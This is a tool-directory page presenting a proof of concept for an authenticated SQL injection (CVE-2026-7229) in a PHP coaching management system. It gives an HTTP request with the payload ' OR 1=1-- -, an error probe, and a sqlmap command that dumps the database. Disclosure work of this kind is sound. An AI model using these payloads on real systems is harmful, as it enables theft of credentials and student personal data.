Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-7229-SQLI — Proof of concept for authenticated SQL injection in Coaching Management System, demonstrating database dump via unsanitized complaintreply parameter. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-7229-sqli
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubxmyronn/cve-2026-7229-sqli

CVE-2026-7229-SQLI

Proof of concept for authenticated SQL injection in Coaching Management System, demonstrating database dump via unsanitized complaintreply parameter.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Authenticated SQL Injection in Coaching Management System Allows Database Dump

Description

A SQL Injection vulnerability exists in the Coaching Management System in PHP. The complaintreply parameter in the admin reply functionality is not properly sanitized before being used in SQL queries. An authenticated attacker (Admin) can inject malicious SQL queries, leading to full database extraction.

Vulnerability Details

  • Type: SQL Injection (CWE-89: Improper Neutralization of Special Elements used in an SQL Command)
  • Impact: Database Dump / Credential Disclosure
  • Affected File: /cims/modules/admin/reply.php
  • Affected Parameter: complaintreply
  • Attack Vector: Remote, Authenticated (Admin)
  • Database: MySQL (MariaDB)

Vendor

code-projects.org

Product

Coaching Management System in PHP https://code-projects.org/coaching-management-system-in-php-with-source-code/

Version

Unknown (Tested on latest available version as of April 2026)

Proof of Concept (Summary)

  1. Student submits complaint Screenshot 2026-04-10 225755

  2. Admin opens complaint and accesses reply feature

POST /cims/modules/admin/reply.php?complaintid=18 HTTP/1.1 Host: 192.168.0.9 Content-Type: application/x-www-form-urlencoded

complaintreply=' OR 1=1-- -&submit=submit

Screenshot 2026-04-10 225808

  1. Intercept request via Burp Suite Screenshot 2026-04-10 225821

  2. Inject payload:

    root@kitploit:~
    '
Screenshot 2026-04-10 225844
root@kitploit:~
SQL error observed

7. Confirm injection:

root@kitploit:~
' OR 1=1-- -
Screenshot 2026-04-10 225900

  1. Dump database using:

    root@kitploit:~
    sqlmap -r sqli.txt --dump
Screenshot 2026-04-10 235219

Injection confirmed via error-based, boolean-based, and automated exploitation using sqlmap

Impact

  • Full database extraction possible
  • Credentials stored in plaintext exposed
  • Complete compromise of application data
  • Authentication bypass and privilege escalation via credential extraction
  • Full database dump achieved including users table (credentials), students PII, teacher records, and complaint history.

Severity: CRITICAL

Download Tool